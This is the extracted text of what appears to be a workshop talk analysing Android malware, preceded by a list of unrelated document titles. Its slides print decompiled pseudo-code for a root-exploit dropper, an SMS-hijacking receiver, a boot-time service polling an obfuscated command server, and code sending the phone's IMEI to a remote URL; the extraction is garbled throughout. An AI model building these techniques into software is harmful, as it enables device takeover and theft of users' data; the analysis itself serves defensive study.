rosaec_workshop_talk

Similar documents
Java

ÀüÀÚÇö¹Ì°æ-Áß±Þ

PowerPoint 프레젠테이션

03장.스택.key

Microsoft PowerPoint - 04-UDP Programming.ppt

Chap12

rmi_박준용_final.PDF

Interstage5 SOAP서비스 설정 가이드

PowerPoint 프레젠테이션

JMF3_심빈구.PDF

Secure Programming Lecture1 : Introduction

I T C o t e n s P r o v i d e r h t t p : / / w w w. h a n b i t b o o k. c o. k r

목차 INDEX JSON? - JSON 개요 - JSONObject - JSONArray 서울시공공데이터 API 살펴보기 - 요청인자살펴보기 - Result Code - 출력값 HttpClient - HttpHelper 클래스작성 - JSONParser 클래스작성 공공

신림프로그래머_클린코드.key

03장

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

09-interface.key

SMART ZONE CAST ANDROID SDK 적용가이드 NIT

fundamentalOfCommandPattern_calmglow_pattern_jstorm_1.0_f…

12-file.key

05-class.key

SKT SmartZoneCast Agent 개발자 적용가이드_180116

자바로

07 자바의 다양한 클래스.key

5장.key

Mobile Service > IAP > Android SDK [ ] IAP SDK TOAST SDK. IAP SDK. Android Studio IDE Android SDK Version (API Level 10). Name Reference V

제목을 입력하세요.

구로구민체육센터 여성전용 기구필라테스 강좌 신설 구로구시설관리공단은 신도림생활체육관에서 2014년도부터 시행하여 주민의 큰 호응을 얻고있는 기구필라 테스 강좌를 일자로 구로구민체육센터에 확대 시행하게 되었습니다. 구로구 관내 고객들의 니즈를 반영한 기


mytalk

PRO1_02E [읽기 전용]

PowerPoint 프레젠테이션

MasoJava4_Dongbin.PDF

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

50_1953.pdf

Contents. 1. PMD ㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍ 2. Metrics ㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍ 3. FindBugs ㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍ 4. ㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍㆍ

비긴쿡-자바 00앞부속

제11장 프로세스와 쓰레드

Table of Contents 1. 분석 정보 i. 분석 대상 ii. 분석 환경 2. 동적 분석 3. 정적 분석 4. 결론 5. 치료 방법 Android-Trojan/FakeInst 악성코드 분석 보고서 Page 2 / 13

OOP 소개

hlogin2

1부

3장

어댑터뷰

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

01-OOPConcepts(2).PDF

1

04장

Microsoft PowerPoint - Java7.pptx

PowerPoint 프레젠테이션

NATE CP 컨텐츠 개발규격서_V4.4_1.doc

Modern Javascript

Dialog Box 실행파일을 Web에 포함시키는 방법

Microsoft PowerPoint APUE(File InO).ppt

Microsoft Word - KPMC-400,401 SW 사용 설명서

nTOP CP 컨텐츠 개발규격서_V4.1_.doc

Design Issues

Microsoft PowerPoint APUE(File InO)

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

hlogin7

UI TASK & KEY EVENT

K&R2 Reference Manual 번역본

13ÀåÃß°¡ºÐ

THE TITLE

untitled


OCaml

Week3

Java XPath API (한글)

02 C h a p t e r Java

MPLAB C18 C

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

C# Programming Guide - Types

PowerPoint 프레젠테이션

2 Application Name: Day10_yhg <LinearLayout android:layout_weight="3" > /> an

untitled

Microsoft PowerPoint - java1-lecture6.ppt [호환 모드]

: 1 int arr[9]; int n, i; printf(" : "); scanf("%d", &n); : : for(i=1; i<10; i++) arr[i-1] = n * i; for(i=0; i<9; i++) if(i%2 == 1) print

01장

Spring Boot/JDBC JdbcTemplate/CRUD 예제

Spring Boot

ch09

ky55別冊表紙1用.indd

ilist.add(new Integer(1))과 같이 사용하지 않고 ilist.add(1)과 같이 사용한 것은 자바 5.0에 추가된 기본 자료형과 해당 객체 자료 형과의 오토박싱/언박싱 기능을 사용한 것으로 오토박싱이란 자바 컴파일러가 객체를 요구하는 곳에 기본 자료형

2파트-07

자바GUI실전프로그래밍2_장대원.PDF

keyes_sik_only_christ.hwp

장기계획-내지4차

Motor

(Microsoft PowerPoint - Chapter17 RMI.ppt [\310\243\310\257 \270\360\265\345])

BMP 파일 처리

Network Programming

PowerPoint 프레젠테이션

DocsPin_Korean.pages

Microsoft PowerPoint - polling.pptx


Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

歯처리.PDF

- 목차 - - ios 개발환경및유의사항. - 플랫폼 ios Project. - Native Controller와플랫폼화면연동. - 플랫폼 Web(js)-Native 간데이터공유. - 플랫폼확장 WN Interface 함수개발. - Network Manager clas

3ÆÄÆ®-14

Transcription:

!

!

!

!!

!!

class com.google.ssearch.utils {! copyassets(ctx, animi, fname) {! out = new FileOutputStream(fname);! in = ctx.getassets().open(aname);! if(aname.equals( gjsvro )! aname.equals( ratc ) {! buf = new byte[size];! in.read(buf);! buf = decrypt(buf);! out.write(buf);! else( ) { } // other files!! }

class com.google.ssearch.searchservice {! getpermission1() {! s = /gjsvro ;! fname = /data/data/ + packagename + s;! Utils.copyAssets(ctx, s, fname);!! cmd = /system/bin/chmod ;! arg = 4755 + fname;! Utils.oldrun(cmd, arg);!! } cmd2 = fname + /data/data/ + packagename;! Utils.oldrun(cmd2, );!

class SMSBroadcastReceiver extends BroadcastReceiver {! onreceive(ctx, intent) {!! } arr = (Object[]) intent.getextras().get( pdus );! marr = new SmsMessage[arr.length];! for(i=0;i<arr.length;i++) {! buf = (byte[])arr[i];! msg = SmsMessage.createFromPdu(buf);! marr[i] = msg;! s = marr[0].getmessagebody();! s2 = SharedPreference.getString! ( sms_keyword, Bring me back my droid );! if(!s.equalsignorecase(s2)) return;! abortbroadcast();!!

!

!

!

!

AndroidManifest.xml!! <uses-permission android:name="android.permission.receive_boot_completed" >! <receiver android:name="com.android.androidactionreceiver" > <intent-filter> <action android:name="android.intent.action.boot_completed" > </action> class AndroidActionReceiver </intent-filter> extends BroadcastReceiver {! } onreceive(context, </receiver> intent) {! i = new Intent(context, MainService.class);! startservice(i);

class MainService extends Service {! exectask() {! // imei! url = http:// +! com.android.base64.encode( axdmflsadneddrwo3i2df138a8bcao3m, 1)! + :8118/push/androidxml/ ;! url = url + ; // parameter! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, <task>, </task> );!! if(cmd = note ) sendsms( );! if(cmd = push ) execpush( );! if(cmd = soft ) execsoft( );! if(cmd = tanc ) execsoft( );! if(cmd = tanc cmd = xbox ) return;! if(cmd = mark ) execmark( ); }

!

File apkfile = new File(inputFile); Uri apkuri = Uri.fromFile(apkFile); Intent intent = new Intent(Intent.ACTION VIEW);! intent.setdataandtype(apkuri, "application/vnd.android.package-archive"); startactivity(intent);

!

class MainService extends Service {! exectask() {! // imei! url = http:// +! com.android.base64.encode( axdmflsadneddrwo3i2df138a8bcao3m, 1)! + :8118/push/androidxml/ ;! url = url + ; // parameter! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, <task>, </task> );!! if(cmd = note ) sendsms( );! if(cmd = push ) execpush( );! if(cmd = soft ) execsoft( );! if(cmd = tanc ) execsoft( );! if(cmd = tanc cmd = xbox ) return;! if(cmd = mark ) execmark( ); }

class MainService extends Service {! exectask() {! // imei! url = http:// +! com.android.base64.encode( axdmflsadneddrwo3i2df138a8bcao3m, 1)! + :8118/push/androidxml/ ;! url = url + ; // parameter! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, <task>, </task> );!! if(cmd = note ) sendsms( );! if(cmd = push ) execpush( );! if(cmd = soft ) execsoft( );! if(cmd = tanc ) execsoft( );! if(cmd = tanc cmd = xbox ) return;! if(cmd = mark ) execmark( ); }

class MainService extends Service {! exectask() {! // imei! url = http:// + com.android.base64.encode(! axdmflsadneddrwo3i2df138a8bcao3m, 1) +! :8118/push/androidxml/ ;! url = url + ; // parameter! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, <task>, </task> );!! if(cmd = note ) sendsms( );! if(cmd = push ) execpush( );! if(cmd = soft ) execsoft( );! if(cmd = tanc ) execsoft( );! if(cmd = tanc cmd = xbox ) return;! if(cmd = mark ) execmark( ); }

class com.android.base64 {! encode(input, flag) {! // input = axdmflsadneddrwo3i2df138a8bcao3m! if(input==null input.length<10) return "";! buf = new StringBuffer();! for(i=0;i<input.length/2;i++) {! buf = buf + input.substring(i*2+1, i*2+2);! // i=0:(1,2) i=1:(3,4) i=2:(5,6)! //! odd = buf.tostring(); // xmlandroid188com! buf = new StringBuilder(odd.subString(0,3)) +. ; // xml.! buf = buf + odd.substring(3,odd.length-3)+"."; // xml.android188.! buf = buf + odd.substring(odd.length-3); // xml.android188.com! return buf.tostring();! }

class MainService extends Service {! exectask() {! // imei! url = http://xml.android188.com:8188/push/androidxml/! url = url + ; // parameter! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, <task>, </task> );!! if(cmd = note ) sendsms( );! if(cmd = push ) execpush( );! if(cmd = soft ) execsoft( );! if(cmd = tanc ) execsoft( );! if(cmd = tanc cmd = xbox ) return;! if(cmd = mark ) execmark( ); }

class sex.sexy.model13.e.p {! static byte[] a;! static Cipher b;! static {! t = new byte[101][];! t[0] = new byte[16] {0x55, 0x35, 0x02, 0x34, };! t[1] = new byte[16] { };! t[2] = new byte[8] {0xaf, 0xae, 0x2a, 0x9e, };!! String a(int i) {! if(i<=101) {! byte_array = a(a[i]);! return new String(byte_array, UTF-8 );! else return 0;! byte []a(byte input[]) {! // input DES decrypt! }

class sex.sexy.model13.g implements Runnable {! void run() {!! map = new HashMap();! key = e.p.a(70);! val = e.k.h; // IMEI! map.put(key, val);!! e.n.a(, map, );! class sex.sexy.model13.e.n {! void a(, Map map, ) {! buf = new Stringbuffer();! for ((key, val) in map) do {! buf = buf + key + = + val + & ;! url = http://... + parms= + buf;! // connect to url! }

?!